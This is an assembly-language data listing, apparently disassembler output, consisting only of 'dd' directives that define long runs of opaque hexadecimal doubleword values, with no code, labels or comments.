		dd 357D0D74h, 23207A5h,	360DA775h, 2A5307DAh, 7D0D7602h
		dd 3207A537h, 0DA77702h, 5307DA38h, 0D78022Ah, 7A5397Dh
		dd 0B1790232h, 0BBFA30ADh, 7A022907h, 78463F14h, 237B4686h
		dd 22C33B32h, 0F6049C0h, 18147E89h, 67043153h, 0E5082103h
		dd 3043632h, 538E4070h,	3670433h, 34E50823h, 70030436h
		dd 35538E24h, 25036704h, 3636E508h, 5E700304h, 437538Eh
		dd 8260367h, 43538E5h, 144E7F6h, 0CE04A639h, 0CA112803h
		dd 36C0430h, 0BD1CE129h, 0B2D09CAh, 14625F45h, 623D24BBh
		dd 944142Bh, 154AB65Bh,	2D9075Dh, 43F82751h, 5701440Bh
		dd 0BA19493h, 454C01A2h, 14BAE751h, 20DD52C4h, 1120B0Dh
		dd 860C6E54h, 5901890Bh, 0B43BC27h, 9B550144h, 0A20BA120h
		dd 70259D01h, 130B2969h, 9294F01h, 7C4B0B6Fh, 4A7051A8h
		dd 0DB01440Bh, 16D4DCA4h, 14EA4FFh, 7DB310DDh, 5E417384h
		dd 0A01E509h, 53026407h, 0B0DD4DDh, 29440113h, 480B6409h
		dd 9469901h, 440B4A66h,	9CA4701h, 26520B67h, 52094801h
		dd 1910B68h, 6A094A32h,	1890B94h, 6B09944Bh, 14CA40Bh
		dd 0A56C094Ch, 6501220Bh, 223B09BAh, 14B13A0Bh,	312712DEh
		dd 5A2C0A22h, 680BE810h, 74589601h, 4C0B344Ch, 63094301h
		dd 1220BA5h, 0D09C5659h, 2E01D10Bh, 0DD735942h,	254E1462h
		dd 130B296Eh, 9294D01h,	1480B6Dh, 2C09BC99h, 0AC3C0B48h
		dd 2EBE4414h, 883E428Ch, 842F91BFh, 0DC723F2Eh,	7C635C24h
		dd 20117284h, 5254435Bh, 75D4C2Bh, 8F3EF02Bh, 954E4957h
		dd 2002D907h, 70A044Dh,	56289968h, 50F42C45h, 230E9452h
		dd 91023207h, 4C16148Ch, 7AC4B7Dh, 0EF3E589Bh, 72BFF68h
		dd 0B2CFF1A6h, 0EACA87BFh, 4133CB07h, 5547921Ch, 4607D6FEh
		dd 44287DECh, 78EAC45h,	0FC3E41B3h, 5DFB4E7Fh, 0BEC15907h
		dd 59FDFF6Bh, 7D416607h, 46454C0Fh, 9607B554h, 0B7DD2D67h
		dd 449070Ah, 4752469Fh,	78C5048h, 0E2312DB3h, 0A0A3574Fh
		dd 90023207h, 4D4A148Fh, 2607A3DCh, 0CE7CA958h,	6A9723FCh
		dd 88628139h, 609C6DCBh, 6B2E0AEFh, 60C57259h, 9C396097h
		dd 614A14DEh, 14DE642Dh, 0E19D6243h, 0DE396344h, 9D644314h
		dd 396544E1h, 664314DEh, 6744E19Dh, 4314DE39h, 44E19D68h
		dd 14DE3969h, 0E7A86E4Ch, 53755278h, 4CDF49D4h,	0A9647B08h
		dd 3A022003h, 0FD2A5D19h, 595CCB40h, 52288984h,	294F46E4h
		dd 29325CAAh, 135DA514h, 0E1BBC406h, 2191D1Bh, 717F4318h
		dd 0ACF3A715h, 34693A1Eh, 65DE08Bh, 4409DCA7h, 3A88D0D8h
		dd 725CB52Eh, 3AD001C8h, 6418A72Ch, 40213F21h, 0C80F24F9h
		dd 5E437E25h, 901F26F2h, 872DFC2Ah, 213F2BE4h, 0F5CF92Fh
		dd 437E3DC8h, 1F27F23Fh, 7EFC6090h, 3F20E487h, 8E772E25h
		dd 0C82F122Eh, 21B21843h, 0FC40901Fh, 25E48724h, 0F95E213Fh
		dd 2AC80F26h, 0F22D437Eh, 2F901F2Bh, 0E4875CFCh, 3F213F3Dh
		dd 0C80F27F9h, 7E437E60h, 871F20F2h, 0E64692Eh,	872CBC10h
		dd 213F21E4h, 0F24F940h
		dd 437E25C8h, 1F26F25Eh, 2DFC2A90h, 3F2BE487h, 5CF92F21h
		dd 7E3DC80Fh, 27F23F43h, 0FC60901Fh, 20E4877Eh,	682E123Fh
		dd 2E6613BFh, 0EB051A9h, 7E24C818h, 2EF22543h, 48B8515Dh
		dd 181DD260h, 136C2E8Eh, 1843403Eh, 901F24B2h, 432EFC25h
		dd 1F21E278h, 25FC2490h, 0E2DDE987h, 10181755h,	8724FC21h
		dd 93E25E4h, 0DD444320h, 183E5D62h, 95CCF695h, 1A31423h
		dd 5CFE094Ah, 50182904h, 4521504Fh, 0EA77D252h,	25181796h
		dd 6227BC7Eh, 0F75AD57Bh, 57474F6Bh, 1802F66Ah,	48955355h
		dd 0BA5A0211h, 0AC184C50h, 84F0B570h, 0CA9B27E7h, 59993003h
		dd 184A4C06h, 0AE963090h, 302ED7C4h, 4F432E04h,	0BF53784Dh
		dd 0BE43B684h, 0C2695483h, 87189E3Ah, 395DC901h, 0FA24618h
		dd 7942E0DDh, 0C87E9D4Fh, 0A67057DAh, 0C729282Dh, 0D32CE8CCh
		dd 0DFDF75CBh, 0B91DFE72h, 9D46E4EDh, 0F769287Eh, 0A8279E67h
		dd 0D9D23447h, 0E531208h, 5D2A46A7h, 0DC955450h, 7580C8A2h
		dd 0A156F425h, 0B297D6ACh, 2C2E1DF6h, 24CDD200h, 54A7C82Eh
		dd 6528B448h, 9A87A808h, 6C083131h, 388C2E18h, 7CC3633h
		dd 32300FDEh, 18A86913h, 15E32FF3h, 893A002Ch, 0D9B93B42h
		dd 0C2F5199Ah, 0E744214h, 7C3A9396h, 8AA4A848h,	0A6D048E0h
		dd 91408E4Bh, 0A4144984h, 0D853251h, 20D52B84h,	2C74F474h
		dd 7449389Ah, 48689AA4h, 0C48AA4A4h, 41423C48h,	0D097BB92h
		dd 325F4811h, 76724C50h, 2055342Dh, 9CD7EDBFh, 4C01202Bh
		dd 392E302Fh, 3EB1F2CAh, 4E2B5556h, 3677273Ch, 3D1B8534h
		dd 6E3622A6h, 19AAE1D3h, 2DE2FF0Bh, 23005612h, 728FE838h
		dd 4645381Fh, 3491372Bh, 346750B5h, 0FDB55FFh, 1CAF434h
		dd 37306DB4h, 0A3BEB401h, 6E0E99A8h, 0D356F82Eh, 2A4BC9EAh
		dd 4BF84FE5h, 102F4B42h, 0FBF42896h, 663F73B5h,	0F49F8BDCh
		dd 44147A1Ch, 471ABA82h, 0B7A6D17Dh, 0E7F7A96Dh, 1B401A30h
		dd 49575D12h, 7FEA4DDFh, 4C8D6470h, 0CFAE6516h,	4338460Dh
		dd 0D04A424Fh, 0A4D8435Ah, 0F6EB4864h, 128D5AA8h, 20701E95h
		dd 0ACF2AFB4h, 47287E96h, 0ED265930h, 0B4F17DC2h, 0D1945DE9h
		dd 0DDA7C785h, 2C8FBA94h, 29E8F023h, 7CF97D7Ah,	0AD545368h
		dd 4A2C231Ah, 3EE1DE43h, 44B29CE9h, 2892FE4Fh, 532AFC29h
		dd 0C88EFE7Ch, 2EA22946h, 7E9F289Eh, 0BD552D6Dh, 6D4BA35Ch
		dd 0F4EC3E80h, 4B6744E2h, 0A7B25769h, 0A6DE5E0Fh, 42577206h
		dd 685247E3h, 26455950h, 9FA6A60Ch, 4A72BAD4h, 0D65B1A50h
		dd 0FC672DC5h, 94CDF749h, 8CED57A4h, 517040A1h,	0E55E373Ah
		dd 6DA448E9h, 0A4662638h, 0B86A3469h, 4D7CA540h, 5223B12Ch
		dd 769F8096h, 3B53D948h, 57E59199h, 9F581856h, 0E24F7F7Eh
		dd 7D504455h, 40E854F1h, 0A745597Ch, 787080E9h,	434F533Dh
		dd 54451C4Bh, 7C52DC5Fh, 5D96A2F3h, 0E1687273h,	6A243D12h
		dd 0BEBDA1FEh, 4462A7ECh, 0DEF48213h, 7964122Bh, 0E989F691h
		dd 2ACE40DEh, 8C481F79h, 1C465974h, 663625EDh, 3559D285h
		dd 2B327E26h, 0BCF8D376h, 316BD1CFh, 2F4B2928h,	303A53EFh
		dd 715B2FE4h, 176990A7h, 72002924h, 5A73D9B9h, 8D6095D4h
		dd 92B49063h, 474F9BECh, 8502E64Dh, 674E5A50h, 0DA4454B5h
		dd 5F694D45h, 0F5EF1193h, 3CB3AB69h, 39C2086Dh,	0F2CF6E31h
		dd 0D4E827EFh, 0F7CDBB3Dh, 9D61740Ch, 0ECE9F8D6h, 91C197D0h
		dd 591E664h, 974A034h, 2E053A57h, 2573B85Dh, 0F77967DAh
		dd 0E688D0A5h, 0FCD69D64h, 14496379h, 5C9D34C2h, 34427B35h
		dd 74FAA41Ch, 441C006Eh, 4C505349h, 4B594138h, 0B0EA65AEh
		dd 941C80ACh, 8C19437Ah, 0B3157409h, 4C8086DCh,	9406521h
		dd 10186C30h, 0F8110C89h, 0D4111E79h, 0F9C88879h, 2B9C13A4h
		dd 64188809h, 91644874h, 2804F248h, 78F04290h, 0C402441Ch
		dd 9B821CCh, 9118AD98h,	4C304064h, 1818948Fh, 0E8E223DCh
		dd 0E2D03177h, 0E894443Ch, 8F84D740h, 38C84C91h, 8C76ECF8h
		dd 118FCC78h, 0F950C87Ch, 3EC21D14h, 1E75C823h,	68C423B8h
		dd 233E3C72h, 0E01E74FCh, 72B0C423h, 54473E90h,	0F8E24023h
		dd 0E2D83173h, 2384473Ch, 7104E454h, 331E72D8h,	2B902198h
		dd 64187009h, 2330502Ch, 71C4E210h, 0E2A01891h,	236C473Ch
		dd 722CE460h, 0EC233E20h, 23E01E70h, 0A072ACC4h, 2364473Eh
		dd 7714E450h, 6FD0F808h, 0B41E289Bh, 3218E823h,	18B66809h
		dd 2C234C47h, 0E8710CE4h, 0D0111E6Eh, 0F9CC886Eh, 2BA013B0h
		dd 64189809h, 0C8E04264h, 36E86242h, 4104418h, 6DDC09C6h
		dd 0B809C899h, 11B3A8A1h, 74092288h, 0AD5C6444h, 0C8309118h
		dd 6CF8F828h, 10F0698Ch, 5C52205Bh, 3D33086Dh, 852F4E9Eh
		dd 0C8EE77C8h, 3BF9204Ch, 0BCACD995h, 0ECDE4827h, 4F534BBCh
		dd 5506C1EAh, 201AB56Eh, 296B8281h, 8D32384Ch, 1C0BF54Bh
		dd 0B4399428h, 8FF5EB6Bh, 34297695h, 6E0E3121h,	0D2AF5377h
		dd 0ECDF2E80h, 4D4485F4h, 0EA844428h, 0B770E2B6h, 4251B8FCh
		dd 8572294h, 0F9724E3Bh, 2440354Bh, 0FB6BF06Dh,	0AC6F4CBBh
		dd 39F9B93Dh, 622F7033h, 0F8DD2242h, 0E72CA358h, 3280D93Eh
		dd 0FB91DFB5h, 8AC94E86h, 1F49D798h, 38162C75h,	2096FE49h
		dd 6C6299BDh, 0ADFF4818h, 2574B2BEh, 0A543F949h, 7CC108DFh
		dd 0ED3A4151h, 93732AEBh, 0E7484BF7h, 6025F79Ah, 0D3262044h
		dd 5324EE32h, 322B36B9h, 0CA4966D0h, 20527550h,	963E12ABh
		dd 345CA96Bh, 0C46843F0h, 0AC656D18h, 9C698A7Ch, 94EE4E13h
		dd 544C3C33h, 6C9B61B7h, 6B64689Eh, 29582A2Ah, 4720584Fh
		dd 0C7733657h, 1640A0FDh, 99FEA0D3h, 180406E9h,	9E6C72BDh
		dd 0C15213A7h, 956C416Dh, 0F4A87414h, 21693C74h, 4091441Eh
		dd 823C0EBDh, 92626954h, 0FD10AFDFh, 90EC5238h,	291AB948h
		dd 0F4FF523Ch, 448F9762h, 897715B2h, 2092F172h,	688DE076h
		dd 239AF1B5h, 0BF7BA03Ch, 6D7669DAh, 9E34454Ch,	0ACB969B7h
		dd 341309Ah, 534E4556h,	4CA94948h, 48342344h, 5E633634h
		dd 513DED87h, 5E24EE5Bh, 5F454472h, 7FF1DCD0h, 0C606A5E5h
		dd 20736E84h, 4C71A6DAh, 0A337523Dh, 0FBC8795Ch, 0E3DC504Ah
		dd 150AE77Ch, 0D0964C48h, 5E68BA48h, 403BD28Eh,	0E19C3F9Ch
		dd 92494663h, 85819441h, 2F3A5A40h, 11334132h, 9C403E9Dh
		dd 1ED74AE1h, 13F4246Fh, 0E465BB3Ah, 5BA0E97h, 32E45B3Dh
		dd 0B395B045h, 71582332h, 0D94DE547h, 4692E653h, 2DF44514h
		dd 702346AFh, 0AC3C672Ch, 9148E664h, 513A15B2h,	92F7A506h
		dd 686815F2h, 3D1CD23Eh, 94B6087h, 5A44783Ch, 7325BC50h
		dd 0D4846959h, 6C3FA478h, 4DB34AD1h, 65EB2645h,	6E3092B2h
		dd 0A53F92A5h, 0DB4DBB44h, 3ACA2EA8h, 0AFBC3535h, 6C0AAEF1h
		dd 1B4E69F4h, 914C424Dh, 0F87CD1E5h, 6B724042h,	7EB775F1h
		dd 800A5CF5h, 52500EBDh, 0F9849168h, 0CBF4741Fh, 45472620h
		dd 0FD616209h, 4A9F296Ch, 68D017ACh, 503AFA36h,	474728E7h
		dd 6C53D95Fh, 34B45C4Bh, 0EA53252Dh, 0D3B07884h, 9F6F6942h
		dd 3A375682h, 0FCAF7071h, 554C6847h, 3D483EA3h,	3D5C1252h
		dd 2899BCACh, 256F105Ah, 2994203Dh, 157A6CA5h, 484DA14Eh
		dd 5229EA4Ch, 8AACC4D5h, 16F9552Ch, 8D546021h, 0AD49A132h
		dd 2F3EA056h, 632AF66Ch, 0C4E5620h, 4C0D10AFh, 0A43642AEh
		dd 3105502Bh, 0A1323439h, 9688B31Eh, 0A4EA4874h, 6E2DE358h
		dd 0C7DF2513h, 14281949h
		dd 4EA27D68h, 7C484D87h, 0BE524F7Eh, 0F61F4816h, 0C80A10B5h
		dd 16D77029h, 4809C454h, 16C97445h, 382A8FA8h, 8EDD056h
		dd 66DE464Fh, 0C4BA641Ah, 9832FBCDh, 6BF944A8h,	75624A91h
		dd 3990B428h, 494C21F4h, 0FFE1CA47h, 7641343Ah,	5399B69Eh
		dd 0D3E66B59h, 27216884h, 51D71D6Ah, 6E550BE8h,	4B323DAFh
		dd 0CA5C7524h, 6974C94Fh, 304B347Eh, 1E4F2146h,	0AC7CAD6Fh
		dd 6C5C798Bh, 1C0DB12Fh, 2F956870h, 0B2575455h,	914C179Ch
		dd 3321AB33h, 0B33A752Fh, 0D74ABA5Dh, 0CFD4B2Bh, 9E4920FEh
		dd 6F0E48B8h, 0EEC085B2h, 0ADA920B3h, 1914BB58h, 0E6664F9Eh
		dd 30926F6Eh, 95409479h, 364A9D74h, 0DA3E799Eh,	380A3779h
		dd 42D728DAh, 2F4CF76Dh, 0E3F94CE0h, 92644E26h,	26C94D65h
		dd 0EB7A6933h, 2ED4E4EBh, 49E58510h, 0BA722D3Ch, 337038C6h
		dd 9D307464h, 634B9576h, 264DE684h, 27297972h, 0C6CE789h
		dd 7608707Fh, 7979656Bh, 0EF57E54Ah, 354744E2h,	9F254717h
		dd 485DD259h, 2D662283h, 0DBA4694Ch, 0D5563A40h, 1BBADAD0h
		dd 70BDB134h, 906EB260h, 5F684C28h, 5E07B8D7h, 3C79E434h
		dd 390B2709h, 4784114Ch, 6BAF1F6Ch, 492148B6h, 9D14672Fh
		dd 75C4B891h, 0E3FE0D94h, 1EA041BBh, 50E95B33h,	9EB22DC9h
		dd 8D4CA662h, 64952970h, 0C8C0850Bh, 482E682Fh,	5CF8D2C4h
		dd 0D974DC9Fh, 24FC6E25h, 0C66364F1h, 82D23CFDh, 9FCA6C96h
		dd 0E5BFE0E6h, 6E5A2DDFh, 0FDC93487h, 312369C7h, 9DD43068h
		dd 24C8AE7Eh, 0D615127Ah, 7B3C6856h, 6BB67745h,	0EEB5D6E8h
		dd 0AD2EA938h, 94552744h, 68688DE7h, 0C45F6BE6h, 0BC6AE147h
		dd 0E6A6B6E8h, 7003A469h, 6B80A501h, 0DD59E25Fh, 612C47F9h
		dd 62510CABh, 86404CE6h, 0EB248577h, 9AE83C5Eh,	725924E8h
		dd 97ACFC3Bh, 0F75B6DE9h, 90E947FBh, 0FCB8B52Ch, 0EC95E4D0h
		dd 69B47042h, 0D7C20D20h, 0FF772339h, 6131B09Fh, 3062522Bh
		dd 73E39A5h, 4C389A29h,	7BFB641Dh, 0ED6E05A5h, 6562F30Ch
		dd 0AE72660Eh, 0C2E6CDE5h, 9441A73h, 5C94FFDDh,	0F52D2C87h
		dd 8ABCE32h, 0DD52AD5Eh, 46D50832h, 68608508h, 4013CA0Ch
		dd 4B66312Eh, 0CAFE4249h, 7A6B0F40h, 5A2C520Eh,	3E34EA4Fh
		dd 0AB5E442Ah, 602BA624h, 6F616BDDh, 471FF6B7h,	729FDE38h
		dd 0C916DF75h, 0E25A8BF2h, 8EA85AFBh, 0CA28A770h, 2724B45h
		dd 2C232D8Dh, 0BD1467C5h, 0F735A524h, 0A868EDBCh, 288CFEB4h
		dd 63CB0BE1h, 4EC7E7D5h, 645F550Bh, 676EE1C9h, 994404BDh
		dd 51D5C2DBh, 1D64AC64h, 6DA27B64h, 0E0A9D89Fh,	0B111D53Fh
		dd 0B514B596h, 0F6AAD1D2h, 0F5E7DC64h, 4E7F57ABh, 0E13FAAB7h
		dd 0C1362C79h, 9D56538h, 0B428B96Eh, 0A94A3C3Bh, 726DA756h
		dd 10D277EEh, 27DA7995h, 218AED7h, 0DF5C3A41h, 92EF787Bh
		dd 39A837AAh, 7C856333h, 0DEB77320h, 847FA98h, 0F55A4821h
		dd 0DD35AFAh, 0EF4F14F9h, 0A10E107Dh, 2025B376h, 0C975ECA2h
		dd 0ECDD70B2h, 0C93485A9h, 16824F9Ch, 9E2A72DCh, 4BBD677Dh
		dd 2C7EED6Ch, 0FE61C44Eh, 0DF7D75F7h, 0F96D1F22h, 2B791465h
		dd 0C90A4B64h, 499E554Ch, 772B7727h, 2843A876h,	6444F250h
		dd 409EF368h, 356F5202h, 5C630A73h, 2C530DDFh, 0DA967B20h
		dd 1A28671Dh, 5F08492Fh, 0D229E465h, 85D7556Eh,	0EAF451Bh
		dd 4F0B44E7h, 411CE556h, 0FFAD4916h, 1C9B1891h,	0D34D282Dh
		dd 741C3F1Bh, 58B4E86Ch, 0F84A1F44h, 28553C2Dh,	0FC950769h
		dd 491C48E3h, 9D83C6DDh, 48BE12DCh, 10F8932Ah, 15451CD1h
		dd 0D1ACAC3Bh, 0D0BB431Ch, 24EB4E20h, 403B2AB7h, 15AA7480h
		dd 35A13859h, 54071CC8h, 2E164C44h, 28129D09h, 9E503824h
		dd 6C6C989Ch, 35FB9579h, 2E69DF6Bh, 24F97B2Fh, 4A34F897h
		dd 0B1650EFCh, 7C082757h, 4F7B4C0Ch, 8B84FFE5h,	692FD84h
		dd 0E3D42F29h, 2941994Eh, 58B01274h, 6416AFC9h,	0B3A4E08Eh
		dd 19CC10CCh, 6009CC40h, 0B1404C21h, 9928899Ch,	0A439AC11h
		dd 2CDC811h, 958265Ch, 630C5444h, 0CE2020BAh, 30500828h
		dd 8C4809C8h, 7020B2D4h, 4408B965h, 9C415419h, 19407999h
		dd 3809913Ch, 30443422h, 1128892Ch, 24033DE0h, 9201133h
		dd 1C1922F8h, 0A2141844h, 9640C40h, 17048908h, 8DFC8D08h
		dd 0F4099151h, 0EC44F022h, 12E489E8h, 48D024D8h, 22BC91C8h
		dd 0A4AC44B4h, 94129C89h, 80488C24h, 74227C91h,	89646C44h
		dd 24581260h, 91484850h, 44342240h, 1C89242Ch, 8241412h
		dd 88CFC44h, 22EC91F4h,	0D4DC44E4h, 0BC12C889h,	0A848B024h
		dd 9822A091h, 89808844h, 246C1274h, 915C4864h, 444C2254h
		dd 30893844h, 18242412h, 8911048h, 8BF88870h, 0E812F081h
		dd 0D448DC24h, 0BC22C891h, 89ACB444h, 249C12A4h, 91884890h
		dd 447C2280h, 60896874h, 48245412h, 34913C48h, 24442C22h
		dd 120C8918h, 8AF82304h, 0C48BD974h, 12D00959h,	48C024C8h
		dd 22B091B8h, 8C9844A0h, 74128089h, 64486C24h, 54225C91h
		dd 89404844h, 242C1238h, 91184824h, 20042210h, 0F44489FCh
		dd 12E889ECh, 48D424DCh, 22C491CCh, 0ACB444BCh,	9812A489h
		dd 88489024h, 78228091h, 89687044h, 245C1260h, 91444850h
		dd 44302238h, 14892028h, 0FC220812h, 48F00488h,	22DC91E8h
		dd 0C45EBFD0h, 0C811CC19h, 44090C46h, 0B089B8BCh, 0A024A812h
		dd 90919848h, 1280897Fh, 486C2478h, 225C9164h, 44504458h
		dd 28A600B3h, 0BC508949h, 84C992Ch, 3426BBC4h, 661C6AD2h
		dd 0B9C02C24h, 8C90C968h, 4081884Ch, 0CCB10842h, 58645948h
		dd 643960CBh, 9204644h,	89383C44h, 24301234h, 9124482Ch
		dd 4414221Ch, 80AE4C0Ch, 5C84BC98h, 0A5C30845h,	4D0ECECh
		dd 0C87FC14h, 0C40464A4h, 0F44CD878h, 91F039CEh, 81D8AC78h
		dd 304BDC1Ch, 0CC19D432h, 94981096h, 0C8660884h, 4409C029h
		dd 0AC89B0B8h, 9C24A412h, 8C919448h, 84448822h,	1270897Ch
		dd 48602468h, 22549158h, 0E0365E50h, 9C73511h, 7E9B347Ch
		dd 837B47F8h, 7DFA6F79h, 487310A7h, 3DCB5CBCh, 3D59CF78h
		dd 1D2E6C1Bh, 6861DE04h, 5A3CE108h, 7A6D7E70h, 2134A366h
		dd 75843011h, 0FE256168h, 89A6287h, 0DC1FE93Eh,	847410B8h
		dd 0A3AA7567h, 52490AA4h, 4207084Ch, 0F709594Fh, 2FF194ECh
		dd 53C674A8h, 0D4B7206Ch, 25EC6B4h, 14A26674h, 4C07F27Ch
		dd 142A5655h, 547C5F0Eh, 0D4623890h, 52724248h,	9470E1DBh
		dd 26727445h, 69111041h, 6C3F796Dh, 8BF076BBh, 7308FCBFh
		dd 5B666438h, 0BE67ECD3h, 342DDF41h, 0ECC9BEBDh, 0DDA141AFh
		dd 0CE38717Ch, 0DF51B591h, 8E695932h, 77FC917Dh, 64B90A2Ah
		dd 0DC793CE8h, 662D8995h, 2B7B0811h, 9E112214h,	7D941024h
		dd 75680A10h, 47360862h, 2831D46Ah, 2D3E0842h, 10401A49h
		dd 9168EE77h, 61A5BF40h, 34AE6E62h, 5FC5F2FBh, 9BF4EBCCh
		dd 284B8E7Ah, 417800EBh, 4445544Eh, 564F4C13h, 7563C780h
		dd 72ACC26Dh, 20833932h, 4D934441h, 61EA118Eh, 7B655605h
		dd 9A097D52h, 9560724Bh, 8AC19689h, 3EB85675h, 53E64C71h
		dd 24333428h, 0F94F82CEh, 2B3608Eh, 23E75219h, 998E4A50h
		dd 336D6514h, 6F487849h, 307C79ADh, 5B64F1DEh, 0FAF86B13h
		dd 65D892D2h, 245CCF7h,	482D454Eh, 665F4241h, 0A57551C0h
		dd 737A69C0h, 0DEAA906Dh, 0BE6B9260h, 0A4B8988h, 5941524Fh
		dd 21C84890h, 3C669A99h
		dd 50C5DDD8h, 0A04E6441h, 34123033h, 224FF31h, 7377C2BBh
		dd 367C535Dh, 3220FA38h, 0C6F0BD38h, 248D4D5Bh,	0C94CF2A0h
		dd 0C8F9762Eh, 6299791Fh, 64076320h, 0A9E2AB69h, 4C34717Fh
		dd 6CCB306Dh, 5E9554F8h, 2092681Ch, 763AC5F1h, 6B510964h
		dd 0A0405208h, 4D4739E8h, 0BBC14EB4h, 362E2CA1h, 0CCA33803h
		dd 0D03C519Dh, 69A66C39h, 1EE06A65h, 1C312879h,	0A64E6546h
		dd 14702B6Eh, 61118C41h, 4A441272h, 43A906EAh, 4E072045h
		dd 32332D4Bh, 776AA03Ah, 0C9743E39h, 494C8674h,	236B6825h
		dd 7AAD3B48h, 363385E0h, 55098498h, 0A8524147h,	0C3E24B1h
		dd 8695665h, 3842E94Ch,	68AB844Bh, 0F4362E94h, 746CC6E6h
		dd 44FC4131h, 45D44965h, 0E5EC9F25h, 48049994h,	85554E49h
		dd 1C84EF5Fh, 7946948Ch, 0A444FA4Ch, 626526B8h,	6A05A865h
		dd 3D1F4F45h, 6A287AA4h, 7D611C78h, 0D1428058h,	2BC8453Dh
		dd 0B0E32D35h, 487454F8h, 5E980E82h, 419F5AD5h,	4BE00514h
		dd 70133350h, 1E74F83Ch, 502A2D34h, 6669790Ah, 38289B6Ch
		dd 0EBFD8DA2h, 709D84CAh, 42036EF1h, 3931C51Ah,	90C9FF4Ch
		dd 0F448A17Ah, 4E6F4381h, 5ABB7547h, 0A7789172h, 334952D8h
		dd 6F628384h, 5489FD67h, 6A94C12Eh, 987AAB75h, 0D0993C28h
		dd 382A04A4h, 2A77594Ch, 624C342Dh, 48989007h, 6A119230h
		dd 43A04028h, 51304B53h, 74258C5Bh, 0E379F075h,	6568219Fh
		dd 7076F5C4h, 41F8FAD4h, 0FD6814F7h, 5D7025DEh,	0B440BA12h
		dd 14A14754h, 792B6073h, 313247C6h, 49502A19h, 0CC53E9FAh
		dd 99227173h, 24AAA410h, 0FC4F1568h, 781AAE5Bh,	5A9185BAh
		dd 9C4114CDh, 60224544h, 0CA672C49h, 981B396Bh,	80C9FAD5h
		dd 0F5F2FDF6h, 0A02A7468h, 2D4D2B31h, 0E852E930h, 360CD656h
		dd 64484228h, 44DA9B40h, 48418E3Ch, 9170A34Bh, 59528AACh
		dd 0DA4A1808h, 48644349h, 0B48554D8h, 358D0D1Bh, 0E10273ACh
		dd 0CCAFF293h, 37C9FF76h, 55204FC1h, 69D2F94Eh,	6A1560Bh
		dd 0AA64A9D0h, 69D8989Ch, 0F4380261h, 0A09A3732h, 6F38ABA9h
		dd 638D79A8h, 38EB716h,	1DD5A808h, 1D353452h, 0C94E7A33h
		dd 891645C8h, 969704F7h, 435A7950h, 25D37C85h, 2CDA5C47h
		dd 65D61296h, 0BC91FF64h, 0BC3E7544h, 697C9D7Ch, 42E35F18h
		dd 5FC8D84h, 7866D695h,	36DDF883h, 2BE332E0h, 0B94064F9h
		dd 0A821D461h, 0F5FBB877h, 16D79C28h, 6AFC3323h, 6F445871h
		dd 0AC889D62h, 53B82010h, 6326D876h, 7290B3B6h,	591379BAh
		dd 0D55E3324h, 24A984D4h, 664D8368h, 5578B225h,	9863B4B2h
		dd 6A00B394h, 73610450h, 0E67F6977h, 31721010h,	824B7264h
		dd 0BC645A47h, 0AF61AFA2h, 4391A679h, 0A634939h, 3459454Ch
		dd 5E6C789Ch, 5866CC33h, 7136A258h, 547435C9h, 0DE88495Ch
		dd 244E09F2h, 91564842h, 44582243h, 4B894C5Ah, 48244A12h
		dd 46914748h, 53444422h, 124F8950h, 1A682855h, 550A0954h
		dd 95746F8h, 89625144h,	247A1278h, 9168486Ch, 44662267h
		dd 6EB57779h, 6C7097D8h, 344C9084h, 66FF4FCEh, 1C85209Ch
		dd 0C3B1DDAFh, 74DD6022h, 512D01BEh, 1C643EB2h,	0A6F78731h
		dd 95F10530h, 323A18h, 5F607C2Dh, 4B5B7B5Ch, 5304E5Dh
		dd 10030B02h, 1101BCB9h, 4B816D0h, 6400C53h, 0A8BD0080h
		dd 0C97D8AAFh, 0F45BBE11h, 291A10ADh, 45DD3189h, 33754B24h
		dd 8699703Bh, 0DD80186Bh, 0B0E05B3Eh, 97520100h, 11D059CAh
		dd 0AD570A8h, 800DC9A0h, 26004EF7h, 371D55B5h, 46C5C100h
		dd 8F6379ABh, 0E868112Ah, 60C44A69h, 140476FAh,	0BDECEE9Dh
		dd 5F24F059h, 5B4C5525h, 290F4B2h, 2B97DDB0h, 9CC3E5CEh
		dd 0B5ED6A25h, 1235ECDCh, 0EB7885BAh, 408998E2h, 66C519DFh
		dd 5B0A0DC4h, 6C26FF3Ah, 7ADA9D12h, 1050226Ah, 0A4841635h
		dd 10D0B2ECh, 0A366F592h, 7347275Ah, 17B4943Ah,	4ECCA8AAh
		dd 0AFDD64B6h, 0D4B57EC6h, 0FCFEEE7Bh, 0B76BED4Eh, 5CD2300Ah
		dd 59DCC923h, 0A5E0D149h, 0A808166Ah, 59D5F228h, 0F35927BEh
		dd 2C8B0168h, 44E84391h, 891C0C08h, 890C1C14h, 40FC1C04h
		dd 18E9F490h, 12E489ECh, 48DC2401h, 220291D4h, 3BC44C8h
		dd 0FDADC0B1h, 4B64F491h, 5089700Ch, 2900FC6Fh,	21B50864h
		dd 4545B3FBh, 10A3C208h, 35DC7261h, 7A18CDFEh, 60A1D0F5h
		dd 0BF202008h, 868CC5Eh, 0E5806B69h, 0DF11645Ah, 52CB00F1h
		dd 620E976Dh, 33CDFFD6h, 0D0A9E96Bh, 2865E524h,	28353334h
		dd 2DA6F3AAh, 23A8672Dh, 4C24A350h, 54BD6EE0h, 0F0F3C998h
		dd 22BE6393h, 6C5D64A0h, 9FF8B106h, 7BBFE468h, 3458D5D4h
		dd 2E5D88D2h, 0A28E20AEh, 0E19361F6h, 0A98B5D2Fh, 208167FDh
		dd 0A86AF924h, 5D229A94h, 0DDAC49CEh, 328463B8h, 0FB9E14B5h
		dd 2E6E514Bh, 266324B2h, 7CD2A014h, 0E221A950h,	2280972Eh
		dd 5F11B87Ch, 0F335AE6Bh, 7AF0E1BEh, 2C4337E6h,	47E0B2D3h
		dd 1EC4BAEh, 45FD4CA6h,	90B3FF24h, 0D29BE5Eh, 8576B295h
		dd 1FAE309Ah, 0DA22A8BEh, 0E45F3836h, 823F1B2h,	74A4A294h
		dd 0CD427466h, 0B052A145h, 7D9D7FAh, 57A2048h, 0F4E870BCh
		dd 0B26144D9h, 0BB72348Bh, 611A391Bh, 0A73B40D5h, 35859A4Fh
		dd 483E2344h, 85D4F29Ch, 857C4029h, 0B2FDAFE4h,	1FE5176Ah
		dd 36F66541h, 1563E96Eh, 0AD4424B1h, 0A42E95D7h, 33B3DE20h
		dd 526CE4A7h, 0FB77A42Ch, 0B5761446h, 0DB493856h, 5C14A4F4h
		dd 0C86F7EBFh, 6581A3C4h, 29E41277h, 0C2A0AF9Bh, 5D510FE7h
		dd 0FCC90A26h, 0AADABEF7h, 0A1438938h, 96A6C89h, 6B5570E1h
